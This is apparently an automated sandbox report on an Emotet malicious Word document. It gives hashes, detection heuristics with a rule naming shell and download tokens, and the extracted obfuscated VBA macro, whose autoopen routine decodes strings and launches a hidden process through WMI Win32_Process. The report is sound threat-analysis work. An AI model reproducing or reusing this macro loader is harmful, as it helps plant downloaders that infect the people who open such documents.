Emotet Office (OLE) malware analysis — malicious · 08dc2cfb245d7598

MALICIOUS

Office (OLE)

279.0 KB Created: 2019-11-05 19:27:00 Authoring application: Microsoft Office Word First seen: 2020-05-14

MD5: fdb8843aeaf6823eab402ad690a01f2c SHA-1: a5ef1ea01bb6e989fd8c714c104f7822456a1ae8 SHA-256: 08dc2cfb245d7598c40d75746389995f330fe7220d15face477317938e5ab91c

190 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-7375852-0'. Static analysis reveals the presence of VBA macros, including an auto-execute macro ('autoopen') and a call to 'CreateObject', which are commonly used to download and execute further malicious content. The macro code itself appears obfuscated and truncated, but the overall pattern strongly suggests a downloader functionality typical of the Emotet family.

Heuristics 7

ClamAV: Doc.Downloader.Emotet-7375852-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-7375852-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set Aosapjeheki = CreateObject(Jntragycn(Inijquxf + Rsyztndck(1)))
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub autoopen()
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36680 bytes

SHA-256: 93b4b77d063b78703f7adcd41ccd78084160e14a64db70d97dd2b13fa3b30317

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Yrranznpxzjey"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Kgtjssurkz, 7, 0, INKEDLib, InkEdit"
Attribute VB_Control = "Jvaazoqsojwo, 6, 1, INKEDLib, InkEdit"
Attribute VB_Control = "Pmcuxwhwskejp, 5, 2, INKEDLib, InkEdit"
Attribute VB_Control = "Yltgxbnpzk, 4, 3, INKEDLib, InkEdit"
Attribute VB_Control = "Cmsqbikts, 3, 4, INKEDLib, InkEdit"
Attribute VB_Control = "Wcujrhbywy, 2, 5, INKEDLib, InkEdit"
Attribute VB_Control = "Uxeavxcrrmpqk, 1, 6, INKEDLib, InkEdit"
Attribute VB_Control = "Firptxecqrwmy, 0, 7, INKEDLib, InkEdit"

Attribute VB_Name = "Cozvebkj"
Function Hnbwowmnqts()
On Error Resume Next
   Dim sFjTFA, aOBYDU
Dim zcmXY, pzwGkEFGc
Dim KQbLtFl, kSoLPg, WXjMzAHK
Dim DSdKAD()
ReDim DSdKAD(3)
DSdKAD(0) = "9/18/1982 6:52:44 AM"
DSdKAD(1) = "Kawecki and Sons"
DSdKAD(2) = "Shoes"

   Dim uuhGQsA, vdppIA, rLfLDfu
Dim arZtvFDH, CdusBFgBF, mtdUJAfb
Dim zEmjDCzE, iyuvl, iUdTGBDE
Dim HXXhFck()
ReDim HXXhFck(2)
HXXhFck(0) = "Personal Loan Account"
HXXhFck(1) = "Glenn"

Dim Rsyztndck()
   Dim RuPIm, fGaXMlAs
Dim oEDJDEVG
Dim zdCHACFY()
ReDim zdCHACFY(2)
zdCHACFY(0) = "Andre"
zdCHACFY(1) = "Jurkiewicz, Kaczorowski and Górecki"

Dim tWXtWPu()
ReDim tWXtWPu(3)
tWXtWPu(0) = "Czekaj Inc"
tWXtWPu(1) = "Computer"
tWXtWPu(2) = "Marcinkowski - Kowalewski"

ReDim Rsyztndck(888)
   Dim KGjAdFC()
ReDim KGjAdFC(3)
KGjAdFC(0) = "Table"
KGjAdFC(1) = "Hat"
KGjAdFC(2) = "11/17/1966 4:48:13 PM"

Dim LhgmoQAv
Dim sQLCI()
ReDim sQLCI(1)
sQLCI(0) = "Hat"

Dim YCJhJWK()
ReDim YCJhJWK(3)
YCJhJWK(0) = "Savings Account"
YCJhJWK(1) = "Alma"
YCJhJWK(2) = "Auto Loan Account"

   Dim gYZgQGK()
ReDim gYZgQGK(2)
gYZgQGK(0) = "Mouse"
gYZgQGK(1) = "Checking Account"

Dim IjxVyWcHR, Sqerc, dmYhFs
Dim JwCSFFGHJ()
ReDim JwCSFFGHJ(3)
JwCSFFGHJ(0) = "Lis Group"
JwCSFFGHJ(1) = "Nowak - Panek"
JwCSFFGHJ(2) = "Home Loan Account"

Dim onncARN, DUeLHqvc, QHHeJQI
Rsyztndck(1) = Yrranznpxzjey.Uxeavxcrrmpqk
   Dim iUCMIDB()
ReDim iUCMIDB(3)
iUCMIDB(0) = "9/11/1950 12:56:53 AM"
iUCMIDB(1) = "Auto Loan Account"
iUCMIDB(2) = "Harold"

Dim sWaeKILJ()
ReDim sWaeKILJ(3)
sWaeKILJ(0) = "Gloves"
sWaeKILJ(1) = "Dave"
sWaeKILJ(2) = "Grabowski - Baranowski"

Dim HvlJqrGE, gyGHAPl, bZWoHB
Dim INzYKGGtp()
ReDim INzYKGGtp(3)
INzYKGGtp(0) = "Table"
INzYKGGtp(1) = "Mouse"
INzYKGGtp(2) = "1/20/1969 3:44:38 AM"

   Dim GzJmGIIR()
ReDim GzJmGIIR(3)
GzJmGIIR(0) = "Martin"
GzJmGIIR(1) = "Ronald"
GzJmGIIR(2) = "Mercedes"

Dim kSVMzpQ()
ReDim kSVMzpQ(1)
kSVMzpQ(0) = "Salad"

Dim XBwMFPf
Dim XQyqBK()
ReDim XQyqBK(2)
XQyqBK(0) = "Milewski and Sons"
XQyqBK(1) = "5/21/1972 8:44:00 PM"

Set Aosapjeheki = CreateObject(Jntragycn(Inijquxf + Rsyztndck(1)))
Aosapjeheki.ShowWindow = 5 < 1
   Dim SFsQGr()
ReDim SFsQGr(3)
SFsQGr(0) = "Chips"
SFsQGr(1) = "Chips"
SFsQGr(2) = "7/23/1990 6:20:42 PM"

Dim kAoCAHkA()
ReDim kAoCAHkA(1)
kAoCAHkA(0) = "Erick"

Dim olYmA, EIxgJMQF, hxpCQNBDC
Dim SJCrGDw
   Dim yXzeGCu()
ReDim yXzeGCu(3)
yXzeGCu(0) = "Napierala - Borek"
yXzeGCu(1) = "Randall"
yXzeGCu(2) = "Debski, Zietek and Pilch"

Dim BQfmA, IMBhZQ, swCmCEi
Dim dsegzBQcG()
ReDim dsegzBQcG(1)
dsegzBQcG(0) = "Money Market Account"

Dim PRMfSo()
ReDim PRMfSo(1)
PRMfSo(0) = "7/10/1991 12:07:19 PM"

Rsyztndck(0) = Jntragycn(Yrranznpxzjey.Cmsqbikts + Yrranznpxzjey.Jvaazoqsojwo)
   Dim CTedsE, QKyWEvE, iVLAEHFJI
Dim GuGFHPCnH, YOgMI
Dim FUUIE, zCGkT, tjRwt
Dim HnXiivwBX
Hklvtuvftuebf = Jntragycn("iiqb_qb_wiiiqb_qb_nmgiqb_mtiqbiqb__s:iqb_Win3iqb_2_Piqb_rociqb_essiqb_iqb_")
   Dim iyXoI()
ReDim iyXoI(1)
iyXoI(0) = "10/16/1954 8:21:49 AM"

Dim uSoOEGSJ()
ReDim uSoOEGSJ(1)
uSoOEGSJ(0) = "4/21/1990 4:59:10 AM"

Dim YrckDF()
ReDim YrckDF(1)
YrckDF(0) = "Przybyla - Krupinski"

Dim HgYvICX()
ReDim HgYvICX(3)
HgYvICX(0) = "Credit Card Account"
HgYvICX(1) = "11/24/1993 12:38:03 PM"
HgYvICX(2) = "1/30/1978 10:05:55 AM"

Set Zizwtpcx = CreateObject(Hklvtuvftuebf)
   Dim ynoBX()
ReDim ynoBX(3)
ynoBX(0) = "Personal Loan Account"
ynoBX(1) = "Checking Account"
ynoBX(2) = "Ismael"

Dim lLngeDG, jtlqH
Dim IHfCKiFF()
ReDim IHfCKiFF(2)
IHfCKiFF(0) = "Chicken"
IHfCKiFF(1) = "Personal Loan Account"

Dim hHGsGCDn()
ReDim hHGsGCDn(2)
hHGsGCDn(0) = "Ciszewski, Krakowiak and Lewicki"
hHGsGCDn(1) = "Investment Account"

   Dim FRmnBTB()
ReDim FRmnBTB(2)
FRmnBTB(0) = "Myra"
FRmnBTB(1) = "Bacon"

Dim yOQpsJvC, PxVCDL
Dim fmyFCCJ
Dim yWlYtG
   Dim PlyBBCgt()
ReDim PlyBBCgt(1)
PlyBBCgt(0) = "Chicken"

Dim azfomGM()
ReDim azfomGM(1)
azfomGM(0) = "Mierzejewski - Rak"

Dim KZTwA()
ReDim KZTwA(2)
KZTwA(0) = "Mouse"
KZTwA(1) = "Home Loan Account"

Dim dCPOEPVxl, HkcQGDF
   Dim cTOyM, JWROAM, DlInG
Dim uxrlHIm()
ReDim uxrlHIm(3)
uxrlHIm(0) = "Shoes"
uxrlHIm(1) = "Home Loan Account"
uxrlHIm(2) = "Rosa Group"

Dim BRzYB, wfSdE
Dim ZvmfHS, udAvEB, MiAdXIZ
   Dim cNRwD()
ReDim cNRwD(1)
cNRwD(0) = "Salad"

Dim oAVfDCA()
ReDim oAVfDCA(2)
oAVfDCA(0) = "9/24/1981 3:20:27 AM"
oAVfDCA(1) = "5/21/1995 11:57:19 AM"

Dim AKaxO()
ReDim AKaxO(2)
AKaxO(0) = "Money Market Account"
AKaxO(1) = "Mona"

Dim QifRVN, WiHkAJQ
Qdsbqzyls = Zizwtpcx.Create(Epjqoogbyijlx + Rsyztndck(0), Oavlryfnxkv, Aosapjeheki, Sqokkfjxyklt)
   Dim eiqSDDBH()
ReDim eiqSDDBH(2)
eiqSDDBH(0) = "Lech, Grzywacz and Flak"
eiqSDDBH(1) = "Wolny, Golab and Skoczylas"

Dim IlaSFHv
Dim XIrDC, KfSuEYDm
Dim ZrAvCj()
ReDim ZrAvCj(3)
ZrAvCj(0) = "Bike"
ZrAvCj(1) = "Investment Account"
ZrAvCj(2) = "Cedric"
 
Yrranznpxzjey.Bookmarks("\Page").Range.Delete
   Dim JVRTPNv()
ReDim JVRTPNv(2)
JVRTPNv(0) = "Car"
JVRTPNv(1) = "2/15/1959 8:52:48 PM"

Dim nUGCF()
ReDim nUGCF(2)
nUGCF(0) = "1/17/1954 3:31:35 PM"
nUGCF(1) = "Investment Account"

Dim AXkDtBiG
Dim ShhaUeD, LjfDAA
End Function



Attribute VB_Name = "Ovtbtthmtf"
Sub autoopen()
On Error Resume Next
   Dim AUTKHG, VkZmHlVFe
Dim DrGTcH
Dim HSWrBJTg()
ReDim HSWrBJTg(3)
HSWrBJTg(0) = "Shirt"
HSWrBJTg(1) = "Markowski - Gasiorowski"
HSWrBJTg(2) = "2/15/1986 6:50:48 PM"

Dim cLfaF()
ReDim cLfaF(1)
cLfaF(0) = "Al"

   Dim XotDAiBBM()
ReDim XotDAiBBM(3)
XotDAiBBM(0) = "5/7/1955 8:34:00 PM"
XotDAiBBM(1) = "11/11/1982 5:14:35 AM"
XotDAiBBM(2) = "Carmen"

Dim TXRcpz, dViic, ENEjFJ
Dim dHbCgWg
Dim chybCl, oQblFJGF, lrizttZ
Hnbwowmnqts
   Dim ONhSERs, QSOBKWF
Dim fBLuXID()
ReDim fBLuXID(3)
fBLuXID(0) = "Evelyn"
fBLuXID(1) = "4/4/1986 3:35:34 AM"
fBLuXID(2) = "Angel"

Dim DjeCJxp()
ReDim DjeCJxp(2)
DjeCJxp(0) = "Chudzik - Bartkowiak"
DjeCJxp(1) = "Investment Account"

Dim VXbXCIoF, EBJBQSC, ETluyfHE
   Dim fTAYDXGH()
ReDim fTAYDXGH(2)
fTAYDXGH(0) = "3/14/1957 7:21:28 PM"
fTAYDXGH(1) = "Felipe"

Dim fIUpMkNJ, HdcGCHvAl, LvVPFJGzm
Dim MvXaF, mYRIJCDE, XJOLbBP
Dim jvtPABpIF()
ReDim jvtPABpIF(3)
jvtPABpIF(0) = "Chicken"
jvtPABpIF(1) = "Frank"
jvtPABpIF(2) = "Money Market Account"

End Sub
Function Fmgcsopl(Myqjifccgwru)
On Error Resume Next
   Dim DRSiGV()
ReDim DRSiGV(1)
DRSiGV(0) = "Chicken"

Dim tUCRFv()
ReDim tUCRFv(2)
tUCRFv(0) = "Chicken"
tUCRFv(1) = "Larry"

Dim REKpqzBBJ, TOSBHDAD
Dim TwLIuH, wCDVOAp, pSQqCAI
   Dim NZylCG()
ReDim NZylCG(3)
NZylCG(0) = "2/9/1953 5:19:09 AM"
NZylCG(1) = "Soap"
NZylCG(2) = "Becky"

Dim MDrfHsF
Dim tEQisBc, ZRIlZHr, qUDvvxdFN
Dim rwInXErEI, NvcXL, mBLiDgCEv
Mbpbmnuyui = "iqb_"
   Dim qmguEAMF()
ReDim qmguEAMF(2)
qmguEAMF(0) = "Auto Loan Account"
qmguEAMF(1) = "8/23/1980 7:50:08 AM"

Dim PcozDIbE, NcQRJVHE, xsucCA
Dim fSRUDjw()
ReDim fSRUDjw(3)
fSRUDjw(0) = "Wójcicki - Markiewicz"
fSRUDjw(1) = "4/26/1985 10:44:46 PM"
fSRUDjw(2) = "Nancy"

Dim njrujCC()
ReDim njrujCC(2)
njrujCC(0) = "Allan"
njrujCC(1) = "1/30/1964 11:18:01 AM"

Yfjszziqf = Myqjifccgwru
   Dim lpSBVuk()
ReDim lpSBVuk(1)
lpSBVuk(0) = "Stanislawski - Wesolowski"

Dim RakMJiE()
ReDim RakMJiE(2)
RakMJiE(0) = "Piechota LLC"
RakMJiE(1) = "Auto Loan Account"

Dim ShoMI()
ReDim ShoMI(2)
ShoMI(0) = "Zarzycki and Sons"
ShoMI(1) = "Cheese"

Dim YZIoFJB, yvTrEd, VXVvEYtD
Fmgcsopl = Replace(Yfjszziqf, Mbpbmnuyui, "")
   Dim KXWwXsDN()
ReDim KXWwXsDN(3)
KXWwXsDN(0) = "Kristy"
KXWwXsDN(1) = "Strzelczyk - Raczynski"
KXWwXsDN(2) = "Personal Loan Account"

Dim cfysIEo()
ReDim cfysIEo(2)
cfysIEo(0) = "Mroczkowski, Pytel and Kruszewski"
cfysIEo(1) = "Cieslak - Paluch"

Dim qtsEZm()
ReDim qtsEZm(3)
qtsEZm(0) = "Cygan Group"
qtsEZm(1) = "Pants"
qtsEZm(2) = "Shoes"

Dim XjhVFGfsB()
ReDim XjhVFGfsB(1)
XjhVFGfsB(0) = "9/6/1989 12:14:32 AM"

   Dim hUIOAcAAI()
ReDim hUIOAcAAI(2)
hUIOAcAAI(0) = "8/11/1976 5:31:29 AM"
hUIOAcAAI(1) = "Rusin - Lesiak"

Dim FIXBYGDFE()
ReDim FIXBYGDFE(2)
FIXBYGDFE(0) = "Salad"
FIXBYGDFE(1) = "Erma"

Dim nBeTDbPC
Dim njYjI
End Function
Function Jntragycn(Lompjnakb)
   Dim ZSOANder
Dim cVTXOAc
Dim nRwdAXCx, ADHFEGnG
Dim amAXIBNI()
ReDim amAXIBNI(3)
amAXIBNI(0) = "Hat"
amAXIBNI(1) = "6/30/1991 4:19:40 PM"
amAXIBNI(2) = "8/1/1955 10:29:35 AM"

Jntragycn = Fmgcsopl(Fmgcsopl(Fmgcsopl(Fmgcsopl(Lompjnakb))))
   Dim fOZXD, HxQIl, WnKjSk
Dim YzXMHAE, rKptKqI
Dim eeRsFufE()
ReDim eeRsFufE(2)
eeRsFufE(0) = "Tuna"
eeRsFufE(1) = "Personal Loan Account"

Dim nfMiw()
ReDim nfMiw(3)
nfMiw(0) = "2/29/1976 8:58:58 PM"
nfMiw(1) = "Tracey"
nfMiw(2) = "Chips"

End Function

Attribute VB_Name = "Qwopxfsjmdho"

' Processing file: /opt/analyzer/scan_staging/a4f18d97ae9d4baaadd9a022f5bf3e01.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Yrranznpxzjey - 2264 bytes
' Macros/VBA/Cozvebkj - 16491 bytes
' Line #0:
' 	FuncDefn (Function Cozvebkj())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Dim 
' 	VarDefn Hnbwowmnqts
' 	VarDefn sFjTFA
' Line #3:
' 	Dim 
' 	VarDefn aOBYDU
' 	VarDefn zcmXY
' Line #4:
' 	Dim 
' 	VarDefn pzwGkEFGc
' 	VarDefn KQbLtFl
' 	VarDefn kSoLPg
' Line #5:
' 	Dim 
' 	VarDefn WXjMzAHK
' Line #6:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim WXjMzAHK 0x0001 (As Variant)
' Line #7:
' 	LitStr 0x0014 "9/18/1982 6:52:44 AM"
' 	LitDI2 0x0000 
' 	ArgsSt WXjMzAHK 0x0001 
' Line #8:
' 	LitStr 0x0010 "Kawecki and Sons"
' 	LitDI2 0x0001 
' 	ArgsSt WXjMzAHK 0x0001 
' Line #9:
' 	LitStr 0x0005 "Shoes"
' 	LitDI2 0x0002 
' 	ArgsSt WXjMzAHK 0x0001 
' Line #10:
' Line #11:
' 	Dim 
' 	VarDefn DSdKAD
' 	VarDefn uuhGQsA
' 	VarDefn vdppIA
' Line #12:
' 	Dim 
' 	VarDefn rLfLDfu
' 	VarDefn arZtvFDH
' 	VarDefn CdusBFgBF
' Line #13:
' 	Dim 
' 	VarDefn mtdUJAfb
' 	VarDefn zEmjDCzE
' 	VarDefn iyuvl
' Line #14:
' 	Dim 
' 	VarDefn iUdTGBDE
' Line #15:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim iUdTGBDE 0x0001 (As Variant)
' Line #16:
' 	LitStr 0x0015 "Personal Loan Account"
' 	LitDI2 0x0000 
' 	ArgsSt iUdTGBDE 0x0001 
' Line #17:
' 	LitStr 0x0005 "Glenn"
' 	LitDI2 0x0001 
' 	ArgsSt iUdTGBDE 0x0001 
' Line #18:
' Line #19:
' 	Dim 
' 	VarDefn HXXhFck
' Line #20:
' 	Dim 
' 	VarDefn Rsyztndck
' 	VarDefn RuPIm
' Line #21:
' 	Dim 
' 	VarDefn fGaXMlAs
' Line #22:
' 	Dim 
' 	VarDefn oEDJDEVG
' Line #23:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim oEDJDEVG 0x0001 (As Variant)
' Line #24:
' 	LitStr 0x0005 "Andre"
' 	LitDI2 0x0000 
' 	ArgsSt oEDJDEVG 0x0001 
' Line #25:
' 	LitStr 0x0023 "Jurkiewicz, Kaczorowski and Górecki"
' 	LitDI2 0x0001 
' 	ArgsSt oEDJDEVG 0x0001 
' Line #26:
' Line #27:
' 	Dim 
' 	VarDefn zdCHACFY
' Line #28:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim zdCHACFY 0x0001 (As Variant)
' Line #29:
' 	LitStr 0x000A "Czekaj Inc"
' 	LitDI2 0x0000 
' 	ArgsSt zdCHACFY 0x0001 
' Line #30:
' 	LitStr 0x0008 "Computer"
' 	LitDI2 0x0001 
' 	ArgsSt zdCHACFY 0x0001 
' Line #31:
' 	LitStr 0x0019 "Marcinkowski - Kowalewski"
' 	LitDI2 0x0002 
' 	ArgsSt zdCHACFY 0x0001 
' Line #32:
' Line #33:
' 	OptionBase 
' 	LitDI2 0x0378 
' 	Redim HXXhFck 0x0001 (As Variant)
' Line #34:
' 	Dim 
' 	VarDefn tWXtWPu
' Line #35:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim tWXtWPu 0x0001 (As Variant)
' Line #36:
' 	LitStr 0x0005 "Table"
' 	LitDI2 0x0000 
' 	ArgsSt tWXtWPu 0x0001 
' Line #37:
' 	LitStr 0x0003 "Hat"
' 	LitDI2 0x0001 
' 	ArgsSt tWXtWPu 0x0001 
' Line #38:
' 	LitStr 0x0015 "11/17/1966 4:48:13 PM"
' 	LitDI2 0x0002 
' 	ArgsSt tWXtWPu 0x0001 
' Line #39:
' Line #40:
' 	Dim 
' 	VarDefn KGjAdFC
' Line #41:
' 	Dim 
' 	VarDefn LhgmoQAv
' Line #42:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim LhgmoQAv 0x0001 (As Variant)
' Line #43:
' 	LitStr 0x0003 "Hat"
' 	LitDI2 0x0000 
' 	ArgsSt LhgmoQAv 0x0001 
' Line #44:
' Line #45:
' 	Dim 
' 	VarDefn sQLCI
' Line #46:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim sQLCI 0x0001 (As Variant)
' Line #47:
' 	LitStr 0x000F "Savings Account"
' 	LitDI2 0x0000 
' 	ArgsSt sQLCI 0x0001 
' Line #48:
' 	LitStr 0x0004 "Alma"
' 	LitDI2 0x0001 
' 	ArgsSt sQLCI 0x0001 
' Line #49:
' 	LitStr 0x0011 "Auto Loan Account"
' 	LitDI2 0x0002 
' 	ArgsSt sQLCI 0x0001 
' Line #50:
' Line #51:
' 	Dim 
' 	VarDefn YCJhJWK
' Line #52:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim YCJhJWK 0x0001 (As Variant)
' Line #53:
' 	LitStr 0x0005 "Mouse"
' 	LitDI2 0x0000 
' 	ArgsSt YCJhJWK 0x0001 
' Line #54:
' 	LitStr 0x0010 "Checking Account"
' 	LitDI2 0x0001 
' 	ArgsSt YCJhJWK 0x0001 
' Line #55:
' Line #56:
' 	Dim 
' 	VarDefn gYZgQGK
' 	VarDefn IjxVyWcHR
' 	VarDefn Sqerc
' Line #57:
' 	Dim 
' 	VarDefn dmYhFs
' Line #58:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim dmYhFs 0x0001 (As Variant)
' Line #59:
' 	LitStr 0x0009 "Lis Group"
' 	LitDI2 0x0000 
' 	ArgsSt dmYhFs 0x0001 
' Line #60:
' 	LitStr 0x000D "Nowak - Panek"
' 	LitDI2 0x0001 
' 	ArgsSt dmYhFs 0x0001 
' Line #61:
' 	LitStr 0x0011 "Home Loan Account"
' 	LitDI2 0x0002 
' 	ArgsSt dmYhFs 0x0001 
' Line #62:
' Line #63:
' 	Dim 
' 	VarDefn JwCSFFGHJ
' 	VarDefn onncARN
' 	VarDefn DUeLHqvc
' Line #64:
' 	Ld _B_var_IsyfvfnmtxkfsThorpkixt 
' 	MemLd Firptxecqrwmy 
' 	LitDI2 0x0001 
' 	ArgsSt HXXhFck 0x0001 
' Line #65:
' 	Dim 
' 	VarDefn QHHeJQI
' Line #66:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim QHHeJQI 0x0001 (As Variant)
' Line #67:
' 	LitStr 0x0015 "9/11/1950 12:56:53 AM"
' 	LitDI2 0x0000 
' 	ArgsSt QHHeJQI 0x0001 
' Line #68:
' 	LitStr 0x0011 "Auto Loan Account"
' 	LitDI2 0x0001 
' 	ArgsSt QHHeJQI 0x0001 
' Line #69:
' 	LitStr 0x0006 "Harold"
' 	LitDI2 0x0002 
' 	ArgsSt QHHeJQI 0x0001 
' Line #70:
' Line #71:
' 	Dim 
' 	VarDefn iUCMIDB
' Line #72:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim iUCMIDB 0x0001 (As Variant)
' Line #73:
' 	LitStr 0x0006 "Gloves"
' 	LitDI2 0x0000 
' 	ArgsSt iUCMIDB 0x0001 
' Line #74:
' 	LitStr 0x0004 "Dave"
' 	LitDI2 0x0001 
' 	ArgsSt iUCMIDB 0x0001 
' Line #75:
' 	LitStr 0x0016 "Grabowski - Baranowski"
' 	LitDI2 0x0002 
' 	ArgsSt iUCMIDB 0x0001 
' Line #76:
' Line #77:
' 	Dim 
' 	VarDefn sWaeKILJ
' 	VarDefn HvlJqrGE
' 	VarDefn gyGHAPl
' Line #78:
' 	Dim 
' 	VarDefn bZWoHB
' Line #79:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim bZWoHB 0x0001 (As Variant)
' Line #80:
' 	LitStr 0x0005 "Table"
' 	LitDI2 0x0000 
' 	ArgsSt bZWoHB 0x0001 
' Line #81:
' 	LitStr 0x0005 "Mouse"
' 	LitDI2 0x0001 
' 	ArgsSt bZWoHB 0x0001 
' Line #82:
' 	LitStr 0x0014 "1/20/1969 3:44:38 AM"
' 	LitDI2 0x0002 
' 	ArgsSt bZWoHB 0x0001 
' Line #83:
' Line #84:
' 	Dim 
' 	VarDefn INzYKGGtp
' Line #85:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim INzYKGGtp 0x0001 (As Variant)
' Line #86:
' 	LitStr 0x0006 "Martin"
' 	LitDI2 0x0000 
' 	ArgsSt INzYKGGtp 0x0001 
' Line #87:
' 	LitStr 0x0006 "Ronald"
' 	LitDI2 0x0001 
' 	ArgsSt INzYKGGtp 0x0001 
' Line #88:
' 	LitStr 0x0008 "Mercedes"
' 	LitDI2 0x0002 
' 	ArgsSt INzYKGGtp 0x0001 
' Line #89:
' Line #90:
' 	Dim 
' 	VarDefn GzJmGIIR
' Line #91:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim GzJmGIIR 0x0001 (As Variant)
' Line #92:
' 	LitStr 0x0005 "Salad"
' 	LitDI2 0x0000 
' 	ArgsSt GzJmGIIR 0x0001 
' Line #93:
' Line #94:
' 	Dim 
' 	VarDefn kSVMzpQ
' Line #95:
' 	Dim 
' 	VarDefn XBwMFPf
' Line #96:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim XBwMFPf 0x0001 (As Variant)
' Line #97:
' 	LitStr 0x0011 "Milewski and Sons"
' 	LitDI2 0x0000 
' 	ArgsSt XBwMFPf 0x0001 
' Line #98:
' 	LitStr 0x0014 "5/21/1972 8:44:00 PM"
' 	LitDI2 0x0001 
' 	ArgsSt XBwMFPf 0x0001 
' Line #99:
' Line #100:
' 	SetStmt 
' 	Ld Jntragycn 
' 	LitDI2 0x0001 
' 	ArgsLd HXXhFck 0x0001 
' 	Add 
' 	ArgsLd CreateObject 0x0001 
' 	ArgsLd Aosapjeheki 0x0001 
' 	Set XQyqBK 
' Line #101:
' 	LitDI2 0x0005 
' 	LitDI2 0x0001 
' 	Lt 
' 	Ld XQyqBK 
' 	MemSt Inijquxf 
' Line #102:
' 	Dim 
' 	VarDefn ShowWindow
' Line #103:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim ShowWindow 0x0001 (As Variant)
' Line #104:
' 	LitStr 0x0005 "Chips"
' 	LitDI2 0x0000 
' 	ArgsSt ShowWindow 0x0001 
' Line #105:
' 	LitStr 0x0005 "Chips"
' 	LitDI2 0x0001 
' 	ArgsSt ShowWindow 0x0001 
' Line #106:
' 	LitStr 0x0014 "7/23/1990 6:20:42 PM"
' 	LitDI2 0x0002 
' 	ArgsSt ShowWindow 0x0001 
' Line #107:
' Line #108:
' 	Dim 
' 	VarDefn SFsQGr
' Line #109:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim SFsQGr 0x0001 (As Variant)
' Line #110:
' 	LitStr 0x0005 "Erick"
' 	LitDI2 0x0000 
' 	ArgsSt SFsQGr 0x0001 
' Line #111:
' Line #112:
' 	Dim 
' 	VarDefn kAoCAHkA
' 	VarDefn olYmA
' 	VarDefn EIxgJMQF
' Line #113:
' 	Dim 
' 	VarDefn hxpCQNBDC
' Line #114:
' 	Dim 
' 	VarDefn SJCrGDw
' Line #115:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim SJCrGDw 0x0001 (As Variant)
' Line #116:
' 	LitStr 0x0011 "Napierala - Borek"
' 	LitDI2 0x0000 
' 	ArgsSt SJCrGDw 0x0001 
' Line #117:
' 	LitStr 0x0007 "Randall"
' 	LitDI2 0x0001 
' 	ArgsSt SJCrGDw 0x0001 
' Line #118:
' 	LitStr 0x0018 "Debski, Zietek and Pilch"
' 	LitDI2 0x0002 
' 	ArgsSt SJCrGDw 0x0001 
' Line #119:
' Line #120:
' 	Dim 
' 	VarDefn yXzeGCu
' 	VarDefn BQfmA
' 	VarDefn IMBhZQ
' Line #121:
' 	Dim 
' 	VarDefn swCmCEi
' Line #122:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim swCmCEi 0x0001 (As Variant)
' Line #123:
' 	LitStr 0x0014 "Money Market Account"
' 	LitDI2 0x0000 
' 	ArgsSt swCmCEi 0x0001 
' Line #124:
' Line #125:
' 	Dim 
' 	VarDefn dsegzBQcG
' Line #126:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim dsegzBQcG 0x0001 (As Variant)
' Line #127:
' 	LitStr 0x0015 "7/10/1991 12:07:19 PM"
' 	LitDI2 0x0000 
' 	ArgsSt dsegzBQcG 0x0001 
' Line #128:
' Line #129:
' 	Ld _B_var_IsyfvfnmtxkfsThorpkixt 
' 	MemLd Wcujrhbywy 
' 	Ld _B_var_IsyfvfnmtxkfsThorpkixt 
